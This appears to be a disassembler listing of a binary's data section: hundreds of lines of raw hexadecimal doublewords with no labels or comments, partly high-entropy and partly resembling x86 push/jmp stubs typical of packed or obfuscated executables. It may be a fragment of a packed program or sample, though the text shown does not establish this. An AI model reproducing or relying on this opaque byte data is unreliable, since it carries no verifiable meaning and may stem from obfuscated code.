		dd 6A0728B9h, 80899F7h,	0CFC92ACEh, 7CECD7A6h, 0BC2DD059h
		dd 0EEBE1E9Bh, 0C31D39DFh, 0A93FFECCh, 0FA53D584h, 0BC5C6D3Dh
		dd 7BCCC31Dh, 6B20B141h, 82716478h, 0FB186CE6h,	422A31E5h
		dd 0EF80F462h, 0DF44550Dh, 79D2A7A0h, 3FEEFD8Dh, 36F27FF1h
		dd 9E0A5A2Dh, 290D2A0Bh, 78EF8E00h, 9A7BD15Bh, 0C927607Eh
		dd 43D56ADCh, 864BB322h, 767436DAh, 73C2887Fh, 5C93BC89h
		dd 0E038CFD8h, 0A1000000h, 0A5A7FECh, 79D1F66Bh, 0AB5AF0B4h
		dd 0DBBA1035h, 0CCC322EEh, 4A270899h, 536146DBh, 0BDE87BA7h
		dd 0A271363Fh, 0B42D5FDBh, 56E6F4ACh, 0D612D908h, 65378567h
		dd 0D3E2F211h, 0D2A70E5Eh, 1594249Bh, 29439985h, 2EEDC9CDh
		dd 9C3EBD7Fh, 4952BC8h,	0D74D4EEAh, 90F9E6Eh, 0CECCC135h
		dd 4FBD84Fh, 990D4360h,	0BD255AEBh, 0A56B3A0Bh,	35CCC112h
		dd 2FAF904Dh, 0F047844Bh, 13E3B301h, 71D90092h,	0FA2FEDBCh
		dd 15E8CCC1h, 5F821293h, 98BD53D2h, 1EEDC71Eh, 677BDDDBh
		dd 935h, 0BA77A4CFh, 0F9B2970Bh, 3BF0D146h, 7A371284h
		dd 0BB7055CBh, 2BB9FEEFh, 6EFA6D06h, 0A83FAE4Bh, 0EA7FEE8Bh
		dd 0DFB52CC5h, 2AC84ECEh, 9DE889C9h, 0FC697CECh, 0FE5471EBh
		dd 3382483Fh, 0A330B77Ch, 3D5AF5BEh, 400A2FBCh,	198A0BEDh
		dd 0C3B29700h, 0DC059617h, 3996188Ch, 0ACD8F96Dh, 0D244DB7Fh
		dd 0EB5A1BF7h, 0B4088A01h, 0B7700157h, 72D2A743h, 563C19B3h
		dd 0F4A030E7h, 7CBBBF79h, 6B41B072h, 1C624A7Eh,	980DAF49h
		dd 0DA4D260Bh, 51506049h, 4637E3C4h, 0A08508A2h, 0E351EDFFh
		dd 6CFDA887h, 0E474754Bh, 6E042C04h, 68DF9804h,	0A229D3A2h
		dd 3B89AE23h, 0A5BA5A6Bh, 0BA7D4E61h, 0D256052Ch, 0A5709578h
		dd 73BF4E61h, 371889FCh, 0AD9000A1h, 4CDD40CBh,	0F485556Bh
		dd 4E61A514h, 32981CD3h, 61A5B663h, 0F04FEB4Eh,	17D34564h
		dd 9E5A8686h, 3FEE41B1h, 9F06E253h, 1697250Ah, 50DB5D84h
		dd 0CBEC7D7Ch, 4BCAAE0Fh, 6851C1D6h, 4C1CD3A2h,	1094BD2Dh
		dd 6784D8BAh, 7D158151h, 0D01CBF8Ch, 56B6C795h,	91B19ED7h
		dd 0F6CB5ADEh, 33AFFAE4h, 0C70C0C9Dh, 9B9CB47Ah, 0CDD19DDBh
		dd 13C2B596h, 43A0F466h, 8D2F5C6Dh, 0ED99AA1Eh,	0D36A638Ah
		dd 371C9857h, 20B8A40h,	0A2B19EE9h, 6748AB98h, 64585E79h
		dd 4E0h, 0CC74F8ACh, 68746B86h,	1CFC2D8Ch, 69CCC31Dh, 0CCC32DAFh
		dd 20099A1Bh, 31B3CD44h, 6317CCC3h, 0C056814Dh,	504429E1h
		dd 227C80C2h, 8D66E450h, 6BFABE6Dh, 0CCC370A1h,	27029415h
		dd 18FFCF45h, 9928F848h
		dd 0CCC3707Bh, 0E3AF8A1Eh, 0DE4E3112h, 0F16004FBh, 0D2A75D1Ch
		dd 8BD05629h, 99D53D55h, 767A33Fh, 721D0000h, 0C959CCA5h
		dd 3940BE0h, 4CDA4D26h,	8B198C65h, 30B1CDA6h, 0BF7459CFh
		dd 0F0B99C08h, 30F9DE4Dh, 7E3B1C8Dh, 1CFC8DC3h,	0DBC92ACBh
		dd 7FECE3BAh, 0A69E0A5Ah, 794C98C0h, 0CB87A43Bh, 5BF1BB6Ah
		dd 0BBD88F7Bh, 43431Ch,	989EEE64h, 25BB9C8h, 299CCCC3h
		dd 0C302BA5Ah, 0DB8A7DCCh, 0F052F485h, 2295D2ACh, 6DB3C292h
		dd 8C92AD0h, 0E659BA9Fh, 0C64F08F2h, 7335FC3Eh,	13867F8h
		dd 7F7E4EADh, 4CD3C5EAh, 2AA3C0F3h, 15A4FCB8h, 0D74E96A8h
		dd 4E804F7Dh, 0F110E224h, 0BD1CB302h, 0CD7C291Eh, 0DE4A1AF9h
		dd 0DE087AEh, 164E2A2Bh, 0CBADEE87h, 0EEA41B7Dh, 25BB582Ch
		dd 76321784h, 0EFFE4E1Eh, 664BD729h, 49D1FEEh, 782F9D94h
		dd 0ADCC9C53h, 24451B3Ch, 76C793B6h, 0E160CF42h, 0AE4A496Dh
		dd 29BA2Dh, 0B5AC4366h,	0EB87512Bh, 675h, 0FAB7640Fh, 39F2D74Bh
		dd 7B301186h, 0BA7752C4h, 0FBB0950Bh, 6BF93EAFh, 0AE3AAD46h
		dd 0E87FEE8Bh, 2ABF2ECBh, 9FF56C05h, 2ACA0E0Eh,	0DDA8C9C9h
		dd 7848AFFFh, 0A73C8C69h, 1CF649D2h, 7BD7F869h,	0B3E75CAEh
		dd 0DCAC3CE3h, 0AF6B4CDDh, 27E9E2Fh, 0C6B9C927h, 3BFC9517h
		dd 0FED74323h, 33B5FDCAh, 0A918E163h, 0BFCB4DC0h, 5EBECCC3h
		dd 0EACCC3BFh, 0BF858B1Ah, 1F15CCC3h, 460751C4h, 0CCA81F7Ch
		dd 0D3E10656h, 0ACCA04C2h, 0A66CC3D2h, 2AEA0CF7h, 9007A6C9h
		dd 6216E7B3h, 0A2C8D756h, 76EF89E7h, 0C92AB993h, 6A4FD8D9h
		dd 0AA2BCDA0h, 5D961039h, 6BE10B7Ah, 5BBD1E1h, 1E710000h
		dd 1D8D30F9h, 5FC87F34h, 980EB17Ah, 0DF4DF0B9h,	846531FAh
		dd 0E388AD23h, 24CDE87Ch, 640D32A1h, 0A24F70E1h, 0B050612Fh
		dd 77C92AC5h, 0AFFF0F5Eh, 0ED697848h, 2AD2ACEFh, 9D0EFF5Bh
		dd 4C458C71h, 6E0D0116h, 8C65D4FDh, 0F160BF0Ah,	0C0B706CCh
		dd 21069B0Ah, 25B40448h, 0C92AB7E7h, 0FF1DAC20h, 38C92AB7h
		dd 93129645h, 6BA938FEh, 0EC92AB7h, 0E659BA9Fh,	39AA5B37h
		dd 29A3B620h, 0F55D0Ch,	4CEF361h, 9508C2B1h, 0B4692106h
		dd 0D6570326h, 0C5A86247h, 6C0B3802h, 2766DD25h, 0BE3F8DB2h
		dd 0BCA5352Ch, 0F4B005CDh, 0A4651147h, 6F8474ADh, 0D3FCC9B3h
		dd 0E5CFD364h, 74BF3431h, 0C5A4638Fh, 0C5886C55h, 193h
		dd 0EE2EBF0Fh, 29C92A25h, 0FF7BD256h, 0A87848AFh, 0DAB09909h
		dd 4714C1DEh, 4C032D36h, 0C46839A8h, 0DAADD2A7h, 0CB5D5C70h
		dd 0D46CFAEEh, 5FE504A2h, 9CC244DDh, 490FC927h,	3D95B828h
		dd 42DB978h, 0B1E55A60h, 1FAE3EDDh, 0D743AF4Ah,	0CC73388Fh
		dd 0ED907A5Fh, 3CDE5B7Ch, 41358B68h, 5665174Bh,	0C99963FBh
		dd 0A794FFB8h, 1BAA3AD2h, 0C927ABF5h, 5C6D4332h, 0C927ABBCh
		dd 87D5847Bh, 0AB66A637h, 0CEA1C927h, 0B0D802Ah, 0A9C927ABh
		dd 6E51A09Fh, 1FCFD7B7h, 42h, 48AFFF48h, 3FB06978h, 9265D2A7h
		dd 3FB35538h, 0D711C927h, 4708FC18h, 37C66983h,	133C09F3h
		dd 0B8CFD81Dh, 0CAh, 3E9A2CD8h,	2FFA091Ch, 27847E9Eh, 17C6B9C9h
		dd 84D03041h, 0A017C927h, 7FEC75C4h, 9F0DF05Ah,	2CFCD0BAh
		dd 0C31D7F9Dh, 23C5B8CCh, 420831A2h, 80694EC3h,	0C322D40Dh
		dd 92EA3CCh, 499EEE60h,	78D131DDh, 8DE2240Bh, 48596FDEh
		dd 0D2A97AA4h, 0ADCC9C53h, 96BB2A3Fh, 3A8A793Ch, 2B55B6Ah
		dd 0B372C925h, 0AD4F3E1Bh, 429BF2Eh, 3BB65B62h,	0D3EF69D5h
		dd 3B9h, 3EFB2073h, 7D361B8Fh, 0BF745DCAh, 0FEBB9E08h
		dd 3FF4D94Fh, 0AF3D8263h, 0EA7EE18Ah, 2CA322CFh, 6EE3620Fh
		dd 6331A049h, 2AC7B252h, 95C75C9h, 29B87CECh, 0CCC31DEBh
		dd 20039C2Ch, 0C2B7F505h, 0BC0C5C13h, 0C379EF2Dh, 0D35528CCh
		dd 1334A558h, 7FECCF66h, 9C0DF05Ah, 3D67FEBBh, 430F2ABCh
		dd 7D9F36F2h, 8CCC39Dh,	0CCC39D0Ch, 0F7C52A7Ah,	0AC6F60E6h
		dd 80D0A7D2h, 4F63A130h, 9006C92Ah, 1B9D50B1h, 688FDFB1h
		dd 7FC44958h, 3EF1D74Eh, 14785B78h, 0D3EF69DBh,	31Dh, 921FBCD7h
		dd 0D15A7F13h, 1398B92Eh, 52DFFA6Ch, 93183DD3h,	1381E607h
		dd 56C2452Eh, 90078673h, 0D247C6B3h, 0C78D04EDh, 2AC656B6h
		dd 0B50091C9h, 0F05A7FECh, 25BB9C0Dh, 1DC44455h, 0AC03CCC3h
		dd 6C0D43C8h, 8075DDF8h, 0F91E6EE4h, 0C9A1BEBh,	6069725h
		dd 0C1CCC31Dh, 521B8A6Eh, 97D2A734h, 61AB6A20h,	0C3C9270Bh
		dd 837CA79h, 85CFD857h,	28h, 48AFFF36h,	3FB06978h, 9265D2A7h
		dd 3FB35538h, 0D711C927h, 69FDFC18h, 17C6EB78h,	4F775895h
		dd 0E714CFD8h, 45000000h, 0CF2FBC3Dh, 9BF52033h, 0FE95860h
		dd 9C2C1586h, 0CDAF881Dh, 0B2EBE6Fh, 644DDE4Fh,	0E2C75554h
		dd 60F1B406h, 12E2B27Fh, 0C3289D83h, 1EB5ACCh, 0C317AB90h
		dd 8B4FDCCCh, 0C32C1AFAh, 0BB6ADDCCh, 0BFCE9EFEh, 0CCC32C59h
		dd 0C44D2F9Eh, 0F6987257h, 0A37341A6h, 0E5AD9402h, 4CFD9410h
		dd 89D2A706h, 85D97D36h, 97475666h, 50D74DEDh, 3EAECF9Dh
		dd 0A0C1911Bh, 0EFBF0D30h, 0C19F3EDEh, 9206F9CCh, 57965C7h
		dd 0E59612A9h, 2FCFF262h, 0DB1F8334h, 0EAF88842h, 82000001h
		dd 0DE412AEFh, 198C654Ch, 5FCEAB8Ch, 9E01EACFh,	344E2B0Eh
		dd 0F9DC4CB3h, 3E1B8D30h, 7E63F275h, 0B8A132B5h, 811040F3h
		dd 0C92AC183h, 0EC582F44h, 2DD0597Ch, 0A56B7ABCh, 62CCC31Dh
		dd 157DC93h, 0C239B295h, 0C452A509h, 9140359Dh,	6D3D4617h
		dd 0C31DBC5Ch, 54657BCCh, 0CCC31DB4h, 2BCDBC73h, 0B606E5B9h
		dd 0A73FFA27h, 0F2582FD2h, 273FF923h, 52E15BC9h, 0D84F80AFh
		dd 0D80DCFh, 0ECBE0000h, 0DCF05A7Fh, 0AE644DDDh, 34A42DCFh
		dd 0EFD4B911h, 98CCC322h, 1B06E30Bh, 7BB578E6h,	0EB78EF84h
		dd 0A5A18B03h, 0B6656850h, 0B56A3ADCh, 0BDA03021h, 23B104CEh
		dd 0C3137292h, 13C2B5CCh, 39BF2CBDh, 8B7AD2A7h,	9E0FAEEEh
		dd 981CD1B9h, 755BA0Ah,	523FDA93h, 514B9B10h, 0D4A1426Fh
		dd 0BF179180h, 4D181F2Eh, 596FDED7h, 6318F889h,	0E87DCCC1h
		dd 713B8ACFh, 2D108021h, 6E53C144h, 1F569F88h, 8F23B5DBh
		dd 0E1h, 5623F89Bh, 951E43D7h, 0D75C8512h, 16E3C650h, 57DC0197h
		dd 0D745AA3Bh, 128639F2h, 54CB7A37h, 960BBA77h,	0B49F8B1h
		dd 2AC09A7Ah, 61345DC9h, 0FB48493Dh, 0DE3F0160h, 5045DB5Ah
		dd 85359DC0h, 0E148BE08h, 0A81FCE64h, 0EACF5CC3h, 7FECB601h
		dd 9C0DF05Ah, 85CFEBBh,	0B66542DBh, 0EF3B9726h,	0BFFD2ACh
		dd 0BAC7A0A9h, 0C94F5E39h, 0EC92A4Bh, 72CC8BFh,	415020B0h
		dd 0C92A4BC3h, 65F7B104h, 0BE0E33A0h, 0E385AA3Fh, 4364F568h
		dd 0F2C20697h, 0A7830C87h, 6B4CDD88h, 958A1F8Eh, 9B772603h
		dd 0FD557CEAh, 0DBB79A08h, 3D95BC2Ah, 0D2A59AE0h, 15A47458h
		dd 0F581CDF7h, 0FBD80192h, 0E55A6004h, 0B80831A2h, 0E286AB39h
		dd 10862769h, 32A45931h, 0BFABB17h, 4E73E061h, 3EC84h
		dd 0FB9D0000h, 5481EC52h, 0B59A0FFEh, 94B928DDh, 0F8DD4F3Eh
		dd 0D8FD9312h, 381DB372h, 1E3BD352h, 4364F1B4h,	5D841697h
		dd 4868E3F5h, 89000015h, 0BF572424h, 4,	4247C01h, 0E089505Fh
		dd 405h, 42D00h, 4870000h, 2C895C24h, 0E3895324h, 4C381h
		dd 0EB810000h, 4, 5C241C87h, 68240C89h,	5E9D2A5h, 81242C8Bh
		dd 4C4h, 8B56800h, 24890000h
		dd 24048324h, 6A685904h, 89000020h, 418F242Ch, 2434FF08h
		dd 4C48159h, 8B000000h,	8950242Ch, 405E0h, 4050000h, 87000000h
		dd 0E95C2404h, 0FFFB65B0h, 60FF20C7h, 68D17FAEh, 0E9DE7DB8h
		dd 0FFC50305h, 0AE9F83E0h, 73C92B0Bh, 5415CF5Bh, 43B1F727h
		dd 7144FA41h, 2E08EF39h, 6076D00Dh, 61822B37h, 0A0A07A03h
		dd 5F6B0C1Ch, 0CC3DE01Bh, 165D847Fh, 3C92D762h,	747B2517h
		dd 2F159D1Ah, 3961915Ch, 11195513h, 12E2FA32h, 0D222C53Fh
		dd 39A8C02Ch, 36F28B45h, 0A855AF1Bh, 8EA44226h,	41D16E71h
		dd 57B1722Dh, 268BC477h, 15F5F00Fh, 0D6C6578h, 55E1A949h
		dd 0ADF26652h, 4B8D8D73h, 6A05E9E0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0BE9C353h
		dd 0C1661E31h, 0C091AE9Ah, 1BEF8166h, 0E960603Dh, 0Ch
		dd 0B4A933D0h, 0A6017478h, 4C2C0919h, 8E9h, 8637B100h
		dd 1EDA602Bh, 89616159h, 0E410958Dh, 0AE805h, 0FAC20000h
		dd 40F5600Ch, 4FDE7509h, 6585C758h, 0FC05E42Ch,	0E8000060h
		dd 13h,	0C38A8664h, 7C15CAC3h, 1A732439h, 6ED6AE59h, 0E91E07BEh
		dd 6, 6F641D21h, 0C75ACAADh, 0E430FD85h, 5, 9DB5FF00h
		dd 8B05E422h, 0E430F9BDh, 6195FF05h, 2905E42Ah,	0E426BD85h
		dd 0FF006A05h, 0E410C195h, 0EBC08B05h, 771E5048h, 60DEAC32h
		dd 584BE357h, 28A7D649h, 4704CAD0h, 3E50B9Dh, 70639FEh
		dd 0C9B1BD96h, 5FDF793Eh, 664D96D7h, 79CB1376h,	5E9923A2h
		dd 0D7B95EF5h, 0ED2FB300h, 0F22C6762h, 5F32F99h, 2C61A7D5h
		dd 0A8D5DC64h, 13E800h,	5840000h, 73223E50h, 467390D8h
		dd 206D6CB0h, 10F5B025h, 39E2B9A7h, 6658631Fh, 813B5CBEh
		dd 7082C0h, 39B58900h, 0BF05E41Ah, 5DB85DA0h, 0BE4BC781h
		dd 0C181A247h, 2777DA1Ch, 958B188Bh, 5E41615h, 1C98F381h
		dd 8B572699h, 0E40CCD95h, 0F3815905h, 497C8F8Eh, 81F18B66h
		dd 0BCF8DBF3h, 12E974h,	3CDC0000h, 0FC1B7C2Fh, 338CB136h
		dd 0EE9953A5h, 9AD1212Dh, 0CDB58B53h, 8F05E40Ch, 258D8900h
		dd 8105E427h, 194B27E8h, 7AD18121h, 8149CD7Dh, 194B23C0h
		dd 0AABE6621h, 1EF838Bh, 19850Fh, 0BA660000h, 2DE9E3BDh
		dd 8F000000h, 22F12DFEh, 1A7ED09Ch, 3D7AA206h, 8159307Bh
		dd 68D444C6h, 0FF72E917h, 0CA32FFFFh, 9D85D8EEh, 613DF831h
		dd 36EBAFEAh, 296570A6h, 0ABE9h, 2E8D5000h, 72B11C3Fh
		dd 0ACABDA5Fh, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
		dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
		dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h
		dd 97B1EFh, 0A5B4F94Eh,	6B5C009Fh, 924AF07Bh, 52D0008Ah
		dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
		dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
		dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
		dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h
		dd 1603B783h, 1425E9h, 0E4076800h, 8FE905E9h, 68FFFA9Bh
		dd 5E9E55Ch, 0FA9B85E9h, 0E65B68FFh, 7BE905E9h,	68FFFA9Bh
		dd 5E9E802h, 0FA9B71E9h, 0E89068FFh, 67E905E9h,	68FFFA9Bh
		dd 5E9E978h, 0FA9B5DE9h, 0EA4168FFh, 53E905E9h,	68FFFA9Bh
		dd 5E9EAF2h, 0FA9B49E9h, 0EBCB68FFh, 3FE905E9h,	68FFFA9Bh
		dd 5E9ED0Fh, 0FA9B35E9h, 0EE0068FFh, 2BE905E9h,	68FFFA9Bh
		dd 5E9EF60h, 0FA9B21E9h, 0F0A168FFh, 17E905E9h,	68FFFA9Bh
		dd 5E9F289h, 0FA9B0DE9h, 0F3DB68FFh, 3E905E9h, 0B5FFFA9Bh
		dd 1E048B02h, 60BADD5Ah, 0B36F6EE9h, 1B078601h,	6FB8DF5Ah
		dd 1D945950h, 0B32CA07Ah, 0C740F62Ch, 1A9D5AC0h, 0A09DCC7Bh
		dd 54EEC7C2h, 0CC0F4422h, 0A2F220E6h, 4E119BCFh, 2256F09Eh
		dd 97F35C91h, 913A920h,	0F1C4CB42h, 8A319F04h, 0D2C499B3h
		dd 0F85F3EE1h, 501A587h, 7BD4074Fh, 0E918D53Ah,	8ADE1154h
		dd 0E8EFD355h, 64AC7E54h, 0F8D6D6ADh, 3F0733h, 0D8560000h
		dd 9215C46Fh, 75D80DC6h, 0E9083308h, 8D508354h,	4CDC2A5h
		dd 20EDBD72h, 86B1B7A8h, 4E1C54E9h, 69B88B42h, 0E1C933F9h
		dd 60DFC389h, 16146934h, 9654E989h, 28A770A5h, 0EFh, 60C0776Fh
		dd 0AC3C71EAh, 0FDA0DF9Eh, 0D3AB35A5h, 4706990h, 0CA3B9ACFh
		dd 4F05BC68h, 124613C4h, 5C84308h, 8ADE591Dh, 4EDCFC59h
		dd 634F0E89h, 2F830841h, 0DCE3AC57h, 52BF663h, 9C5D454Fh
		dd 0E156B01Dh, 0DD0E894Fh, 8546107Ah, 5D2302F8h, 19A785FAh
		dd 0D2054F05h, 3FBC6679h, 0C4B12CBCh, 0CDBE8746h, 2954E93Bh
		dd 9A80E7E6h, 0D60D5FD8h, 43C1BE7Dh, 0A4A8A39Ch, 0BCC5ACFh
		dd 609F5E44h, 0B930A57Dh, 1F526430h, 60C18B22h,	11A5h
		dd 4144FF70h, 0F79611D9h, 0A42BAE2Bh, 5C43FC7Eh, 0F59817C6h
		dd 51049520h, 0EB6BB7D6h, 3BB1696Ch, 56051D80h,	5A09B0D7h
		dd 0EECA0765h, 48076554h, 0F662C677h, 80F15B71h, 0FCF0C6B5h
		dd 2C5366Bh, 0F4C65228h, 553EBCA5h, 0E863E832h,	0AAAC86E5h
		dd 69153C16h, 0B4B68F4Eh, 304F059Dh, 0D84512FFh, 0F02AED6Fh
		dd 3D93FF78h, 0E5B1AF2Eh, 81FE410Ah, 54E9FCACh,	1A00C708h
		dd 0DCFDB5Ch, 32933992h, 0B1B38C53h, 3354E9BCh,	0BCA183C0h
		dd 0E7D854E9h, 54E9BD85h, 508A34E7h, 39DD2267h,	3945B64Ah
		dd 0B5AE3AB5h, 71959BD8h, 6A3054E9h, 5594EF26h,	0EDC533F9h
		dd 10000000h, 73CAE6CCh, 0A735AE20h, 0B93F62ACh, 64D33F98h
		dd 8035D7E5h, 0A38CB309h, 934F054Eh, 0F822A524h, 0E1E0F873h
		dd 0D1BA35B9h, 5406AD1Ah, 9DBD4BC2h, 0BDEE0871h, 1CC3342Fh
		dd 0C38355BDh, 0A9E564D5h, 0D456F7F0h, 0FC2E767Eh, 88F5588Dh
		dd 4F0541AAh, 270CC90Ah, 54E96456h, 238245B6h, 0E96460C2h
		dd 0B489DC54h, 54E963B6h, 0CD90C536h, 0E96472F0h, 5401F254h
		dd 0B894631h, 9CF7B44h,	72A55AD0h, 4BC67793h, 0E0D6544h
		dd 0E2B08Ch, 0C776907Dh, 0B93F6348h, 8C0221Fh, 1050A9h
		dd 31A82B00h, 43C474AEh, 9413C65Ch, 2CA729F1h, 45FC71A9h
		dd 0BFEAD542h, 61C833Eh, 6CB6D956h, 0B06A6DEEh,	661D803Bh
		dd 0CB5CDE27h, 0A2D854EEh, 106DCCF5h, 4F04E612h, 184CC2C2h
		dd 0CAF42157h, 93424C09h, 0E369B114h, 218AF68h,	1AB3D255h
		dd 7349C077h, 0E4EB62E9h, 593CBB3Eh, 33E48D71h,	0F620B483h
		dd 43954033h, 0F9D3BC3Ch, 918F2D8h, 7E8C014Ah, 0FBC4A69Fh
		dd 0EF204F04h, 0F873F822h, 0C19372D5h, 50379614h, 0FBAE8CF1h
		dd 0CD0E4F04h, 26862300h, 2DEE54E9h, 531B1C63h,	9B544C73h
		dd 1F52CD00h, 0B5E6C94Dh, 0AD10EDD2h, 5BB74757h, 77D71295h
		dd 47BAEDE0h, 0BC943F0Ch, 33E48E4Bh, 0B2B08D6Ch, 32468F69h
		dd 94414C1h, 237FDE5Ch,	855835B4h, 76D6E6B8h, 665F0E4Ch
		dd 4172CF04h, 9B7AAF60h, 4E51C88Fh, 2BFF036Fh, 0A4342B45h
		dd 0B128AFEBh, 0B42F8808h, 442DAF2Fh, 0F51h, 0AD30AB2Ch
		dd 4342C575h, 0F09712C7h, 0A82FA82Ah, 4144C372h, 3DB0E9D4h
		dd 57070382h, 0EF6DB5D8h, 3AB1696Ch, 26651C83h,	0EECC5BD9h
		dd 0F4A3D954h, 0EB64D6CCh, 6677E42Eh, 4E61B19h,	414F994Fh
		dd 0BD52A397h, 844BBCF1h, 191930AEh, 5684624h, 1975A64Fh
		dd 4F08C1CFh, 0AE6E440Dh, 302714FBh, 0B760CB84h, 0FDC5EA7h
		dd 97584F05h, 32A7E3A2h, 3A0BDAB7h
		dd 54E9223Dh, 645776B9h, 508430ABh, 0ECEE4CB1h,	8D4E54E8h
		dd 5A9DFD41h, 5C59A669h, 0D85ACCF4h, 9C824517h,	374F04F3h
		dd 0DD1C42A8h, 75A1DE9Eh, 0AA6D70D2h, 518D755h,	29E2554Fh
		dd 0D7AC65ADh, 0E82E14FBh, 798502B2h, 0F2617BF2h, 77AE19h
		dd 0D8E90000h, 0C02AED6Fh, 0D7FC756Ah, 7FD40D2Ch, 0FA382773h
		dd 784BE28Ah, 1045AB0Ah, 1901E047h, 5182D651h, 0A8E9BF84h
		dd 0E10B54E9h, 6CE7F56Ch, 6E7E543Bh, 163AF4F5h,	0A605D8B5h
		dd 657CFEC7h, 37F854E9h, 1BA305Ah, 1596445Eh, 0AC428C47h
		dd 5B493EE7h, 0A59A2DE6h, 54E8ECC5h, 72159443h,	0C88022A8h
		dd 6379F666h, 1F2DBFF0h, 5A89235Eh, 0DDA43469h,	0E15h
		dd 0ED6FD808h, 0C86ED52Ah, 91154EEh, 0F168E143h, 64D7D3BCh
		dd 7BF279A1h, 8E09CE54h, 7DD68F3Ah, 46097AFDh, 0BA3DBBE7h
		dd 1B58352Eh, 5AD8A991h, 0D65119E3h, 73F822E5h,	0ACF6D5F8h
		dd 0A5E1AA2Dh, 0A825B736h, 809A7DFFh, 26F952CDh, 0E91C0CD9h
		dd 0E657B354h, 45179042h, 0D40F5D8Eh, 3FBC7F7Bh, 1C3DDF9Fh
		dd 0AA4928A0h, 7500000Dh, 0DE444BC2h, 20FA9D1Ah, 73AF2EA9h
		dd 0DB4746C1h, 2FF89F1Ah, 0DD541990h, 73EC60BAh, 8700B66Ch
		dd 0DA5D1A00h, 605D0CBBh, 54EECE02h, 524F0462h,	4F04E5CCh
		dd 0A42397F3h, 0C847F614h, 867F3A97h, 7E7C4104h, 0FE54EEC7h
		dd 88405A3Dh, 0C6C2A09Dh, 0F12254EEh, 160CD3BCh, 7BA726A1h
		dd 67E054FCh, 722BA632h, 45F52DF0h, 217DF6C2h, 816431A8h
		dd 624322h, 7C54EEC7h, 9891DEBBh, 1C5AD2D8h, 1CEE92DBh
		dd 87552214h, 0D1C3Eh, 0FD74E700h, 0F8840DAh, 0A0279288h
		dd 0F873E53Dh, 11884DD5h, 8B1E998Eh, 0D2484FCAh, 38E2E562h
		dd 8C9639B2h, 0B2494CCFh, 0CE9092D3h, 9EEC54EEh, 49C077C1h
		dd 2CF35273h, 4E651D3h,	2360D34Fh, 4F04E641h, 7BA770A3h
		dd 0DD6F7DFCh, 32C8E01Bh, 0BBA80087h, 5D6FEA6Fh, 0BAAB08FFh
		dd 56250186h, 38DD0C74h, 0C5BAE54h, 734983F4h, 967DC60Fh
		dd 0E4EE2E15h, 29000006h, 137F6FD8h, 8A936631h,	7AF8292Eh
		dd 9A4F05D4h, 0D00359DEh, 6D3065D6h, 0EFB59F10h, 71D40754h
		dd 47C08892h, 36A4FE75h, 39BED8B5h, 62B81FBEh, 709A77F0h
		dd 0F76840FBh, 54EDF571h, 0F6744928h, 7654EDF4h, 0B461C885h
		dd 0C3DF5A1Fh, 0CC79514h, 0AF2E74DBh, 0BF806730h, 5AD206C2h
		dd 5D39D832h, 8042438Bh, 0FA8C6E4Fh, 6DEF2214h,	0C3484h
		dd 0D54C0F00h, 67E068B2h, 0B83FBA60h, 0D04B0D15h, 69E055CDh
		dd 9306B166h, 0FA20A722h, 40DAFD7Ah, 948E118Ah,	9A21A427h
		dd 0CF78FACBh, 0B6F454EEh, 49C077D9h, 0EB62E973h, 0A8D4BD1h
		dd 0AE29ACBEh, 0D54E001Ah, 0AA704C87h, 5AD58766h, 0A8E0D50Eh
		dd 0D5B4EE12h, 4E68AE8h, 6C29EA4Fh, 14CD390Ah, 60DA22Eh
		dd 37030000h, 0B412D7B0h, 75622F2Dh, 0E661D6CCh, 0E662C42Dh
		dd 500D4F04h, 0E5FD7F40h, 0BC7F4F04h, 86BB844Bh, 0EE54EEC7h
		dd 59006A2Dh, 1D1F602Eh, 9F54EE1Ch, 1CA3725Ch, 968C533Ch
		dd 0FB27A621h, 0E6EFFD7Ch, 50BA3DBCh, 47C1729Bh, 64D780A3h
		dd 196629ABh, 5AD22D20h, 0A21AA394h, 0D92214E8h, 0B6BB273h
		dd 85360000h, 0DB9F8B0Ah, 68E1395Ch, 8234EEF1h,	0D99C8609h
		dd 0CFEE3F5Eh, 0F99C1BDAh, 9332AD21h, 4746C177h, 0FA9D1CDBh
		dd 41231C43h, 0A354EED0h, 0C0778EC5h, 62E97349h, 4765D1EBh
		dd 5219015Bh, 0F97B81DBh, 84F96A7Eh, 0CD9CE7CBh, 58CD2E14h
		dd 8000005h, 14C46FD8h,	4ABF38BAh, 0CD49B619h, 0AB54EEC7h
		dd 0DCC6A568h, 17CC9C1Fh, 609B50BAh, 46BF1E7Dh,	54EEC6E4h
		dd 0D8C28F40h, 0ED359813h, 41DBF168h, 70DD0E89h, 0C781E758h
		dd 0E23854EEh, 5427F077h, 0D7B6199Bh, 0D6D694FBh, 2DE69049h
		dd 0D23D6BC4h, 0A308CB5Ah, 2214B833h, 0BA2D9444h, 8500000Ah
		dd 0EE345BD2h, 30EAED6Ah, 839F3EB9h, 0EB3756D1h, 3FE8EF6Ah
		dd 2DA42980h, 43FC70AAh, 9710C65Ch, 2AAD2AF0h, 704D1CABh
		dd 54EECFF2h, 775F3472h, 0E97349C0h, 0FE24EB62h, 77ECFC7Bh
		dd 0B8023E9Ah, 62432278h, 4F04E600h, 9CDEBB7Ch,	2E14CDA7h
		dd 4A2D0h, 812F100h, 999BC843h,	0C04F04DDh, 4DE7DFFh, 823CFF4Fh
		dd 1AA30551h, 1BBCBC25h, 0D15219BEh, 0E24F04E5h, 0EFD0B735h
		dd 54EEC84Ch, 0EDC9A7F3h, 0D45F5E1Bh, 0E7B0E566h, 6DB518DBh
		dd 0B2686FEEh, 3A2FAB05h, 0EE6567C5h, 2112C554h, 0A067588Bh
		dd 5568F34Ah, 0AC7EC68h, 0F15A134Eh, 0CD90C57Ch, 8CD67D5h
		dd 0D7083B91h, 915AAB7Ah, 0ED5AD27Ah, 41501B33h, 0C132B495h
		dd 14E81CF8h, 78399322h, 9E1h, 1D803BBCh, 0B3D25505h, 6067E257h
		dd 18BF38BAh, 0B1D45302h, 8D405964h, 27977312h,	7FFD25A8h
